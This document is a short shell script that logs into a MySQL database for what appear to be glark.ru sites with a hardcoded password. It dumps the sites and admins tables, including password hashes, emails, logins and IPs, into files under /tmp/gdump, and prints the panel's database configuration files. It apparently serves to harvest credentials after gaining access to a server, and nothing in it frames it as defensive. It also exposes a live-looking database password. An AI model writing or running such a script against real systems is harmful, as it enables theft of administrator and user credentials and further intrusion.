D=/tmp/gdump
M="mysql -uglarkru -p'7Q4j4Y4qQ6c4B4h8P1n3N9p8' glarkru"
echo '== SITES (domain, password hash, email) =='
$M -e "SELECT id,domain,password,email,block FROM sites;" 2>/dev/null > $D/creds_sites.txt
cat $D/creds_sites.txt
echo '== ADMINS =='
$M -e "SELECT aid,login,password,access,ip,presql FROM admins;" 2>/dev/null > $D/creds_admins.txt
cat $D/creds_admins.txt
echo '== DB INI config (panel) =='
cat /var/www/glarkru/data/www/_dbase6407d687c9463a9c67a69ac9ef11a7f9.ini 2>/dev/null
echo '== panel database.php =='
cat /var/www/glarkru/data/www/glark.ru/core/database.php 2>/dev/null
echo '== server database.php =='
cat /var/www/glarkru/data/www/server.glark.ru/core/database.php 2>/dev/null
